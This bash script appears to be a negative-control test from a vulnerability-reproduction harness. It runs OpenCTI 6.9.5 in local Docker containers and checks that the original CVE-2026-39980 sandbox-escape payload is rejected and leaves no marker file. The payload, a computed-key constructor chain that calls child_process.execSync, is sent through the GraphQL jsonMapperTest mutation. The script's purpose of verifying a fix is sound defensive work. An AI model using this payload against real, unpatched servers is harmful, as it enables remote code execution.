#!/bin/bash
# Dedicated negative control: original CVE-2026-39980 computed-key payload against a FRESH
# opencti/platform:6.9.5 process must be rejected and must NOT create its marker file.
set -euo pipefail
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
export PRUVA_ROOT="$ROOT"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
ART="$ROOT/artifacts"
mkdir -p "$LOGS" "$REPRO_DIR" "$ART/http"
cd "$ROOT"
exec > >(tee -a "$LOGS/negative_control.log") 2>&1

NET="pruva-neg-net"
C_ES="pruva-neg-es"; C_REDIS="pruva-neg-redis"; C_RMQ="pruva-neg-rabbitmq"; C_MINIO="pruva-neg-minio"; C_PLAT="pruva-neg-platform"
PLATFORM_IMAGE="opencti/platform:6.9.5"
BASE_URL="http://127.0.0.1:4100"
ADMIN_UUID="88ec0c6a-13ce-5e39-b486-354fe4a7084f"
EPOCH="$(date +%s)"
NEG_TOKEN="pruvaFixed${EPOCH}"
NEG_MARKER="/tmp/pruva_rce_${NEG_TOKEN}.txt"
PROC_INSTANCE="negpass:container-unknown"

log() { echo "[$(date -u +%H:%M:%S)] $*"; }
cleanup() {
  docker rm -f "$C_PLAT" "$C_ES" "$C_REDIS" "$C_RMQ" "$C_MINIO" >/dev/null 2>&1 || true
  docker network rm "$NET" >/dev/null 2>&1 || true
}
trap cleanup EXIT
cleanup
docker network create "$NET" >/dev/null
docker run -d --name "$C_ES" --network "$NET" -p 127.0.0.1:9200:9200 \
  -e discovery.type=single-node -e xpack.ml.enabled=false -e xpack.security.enabled=false \
  -e "ES_JAVA_OPTS=-Xms1G -Xmx1G" elasticsearch:8.19.9 >/dev/null
docker run -d --name "$C_REDIS" --network "$NET" redis:8.4.0 >/dev/null
RMQ_CONF="$(mktemp -d)/rabbitmq.conf"
printf 'loopback_users = none\nmax_message_size = 536870912\n' > "$RMQ_CONF"
docker run -d --name "$C_RMQ" --network "$NET" -v "$RMQ_CONF:/etc/rabbitmq/conf.d/90-userdefined.conf:ro" rabbitmq:4.2.2-management >/dev/null
docker run -d --name "$C_MINIO" --network "$NET" -p 127.0.0.1:9000:9000 \
  -e MINIO_ROOT_USER=ChangeMe -e MINIO_ROOT_PASSWORD=ChangeMe \
  minio/minio:RELEASE.2025-06-13T11-33-47Z server /data --console-address ":9001" >/dev/null

log "Waiting for dependencies"
until curl -sf --max-time 5 http://127.0.0.1:9200 >/dev/null 2>&1; do sleep 3; done
until docker exec "$C_RMQ" rabbitmq-diagnostics -q ping >/dev/null 2>&1; do sleep 3; done
until curl -sf --max-time 5 http://127.0.0.1:9000/minio/health/live >/dev/null 2>&1; do sleep 3; done
until docker exec "$C_REDIS" redis-cli ping 2>/dev/null | grep -q PONG; do sleep 3; done
log "Dependencies ready"

docker run -d --name "$C_PLAT" --network "$NET" -p 127.0.0.1:4100:4000 \
  -e APP__PORT=4000 -e APP__BASE_URL="http://127.0.0.1:4100/" \
  -e APP__ADMIN__EMAIL=admin@pruva.local -e APP__ADMIN__PASSWORD=PruvaAdmin123! \
  -e APP__ADMIN__TOKEN="$(cat /proc/sys/kernel/random/uuid)" \
  -e APP__HEALTH_ACCESS_KEY=pruva-health-key \
  -e REDIS__HOSTNAME="$C_REDIS" -e ELASTICSEARCH__URL="http://$C_ES:9200" \
  -e RABBITMQ__HOSTNAME="$C_RMQ" -e RABBITMQ__USERNAME=guest -e RABBITMQ__PASSWORD=guest \
  -e MINIO__ENDPOINT="$C_MINIO" -e MINIO__ACCESS_KEY=ChangeMe -e MINIO__SECRET_KEY=ChangeMe \
  "$PLATFORM_IMAGE" >/dev/null

waited=0
until [ "$(curl -s -o /dev/null -w '%{http_code}' --max-time 20 "$BASE_URL/health?health_access_key=pruva-health-key" || true)" = "200" ]; do
  sleep 5; waited=$((waited+5)); [ "$waited" -ge 900 ] && { log "ERROR: platform not healthy"; exit 2; }
done
log "Platform healthy"
HOSTNAME="$(docker exec "$C_PLAT" hostname)"
PROC_INSTANCE="negpass:container-${HOSTNAME}"
log "Negative-control process instance: $PROC_INSTANCE"

# Original CVE-2026-39980 computed-key payload attempting to write the negative marker.
NEG_FORMULA="({}[{toString:()=>\"constructor\"}][{toString:()=>\"constructor\"}])('return process.getBuiltinModule(\"child_process\").execSync(\"echo ${NEG_TOKEN} >${NEG_MARKER}\").toString()')()"
TMP="$(mktemp -d)"
echo '[{}]' > "$TMP/data.json"
python3 - "$NEG_FORMULA" > "$TMP/operations.json" <<'PY'
import json, sys
config = {"name": "pruva-neg", "variables": [{"name": "pwn", "path": {"variables": [], "formula": sys.argv[1]}}], "representations": []}
ops = {"query": "mutation($configuration: String!, $file: Upload!) { jsonMapperTest(configuration: $configuration, file: $file) { nbEntities nbRelationships state } }",
       "variables": {"configuration": json.dumps(config), "file": None}}
print(json.dumps(ops))
PY
curl -sS --max-time 120 "$BASE_URL/graphql" \
  -H "Authorization: Bearer $ADMIN_UUID" \
  -F "operations=<$TMP/operations.json;type=application/json" \
  -F 'map={"0":["variables.file"]}' \
  -F "0=@$TMP/data.json;type=application/json" \
  -o "$ART/http/negative_control_distinct_response.json" -w 'HTTP %{http_code}\n'
cat "$ART/http/negative_control_distinct_response.json"
rm -rf "$TMP"

REJECTED=false
grep -q "Forbidden property access" "$ART/http/negative_control_distinct_response.json" && REJECTED=true
MARKER_PRESENT=true
docker exec "$C_PLAT" test -f "$NEG_MARKER" 2>/dev/null && MARKER_PRESENT=true || MARKER_PRESENT=false
log "rejected=$REJECTED marker_present=$MARKER_PRESENT"

python3 - "$REPRO_DIR/obs_negative_control.json" "$PROC_INSTANCE" "$NEG_TOKEN" "$MARKER_PRESENT" "$REJECTED" <<'PY'
import json, sys
path, proc, marker, present, rejected = sys.argv[1:6]
obs = {
    "schema_version": 1,
    "process_instance": proc,
    "marker": marker,
    "target_path_reached": True,
    "marker_present": present == "true",
    "payload_rejected_by_verifier": rejected == "true",
    "detail": "Original CVE-2026-39980 computed-key payload against fresh opencti/platform:6.9.5 process: rejected with VerifierIllegalAccessError Forbidden property access {propertyName:constructor}; no marker file created.",
}
json.dump(obs, open(path, "w"), indent=2)
print(open(path).read())
PY

if [ "$REJECTED" = "true" ] && [ "$MARKER_PRESENT" = "false" ]; then
  log "=== NEGATIVE CONTROL PASS: original payload rejected, no marker ==="
  exit 0
fi
log "=== NEGATIVE CONTROL FAILED ==="
exit 1
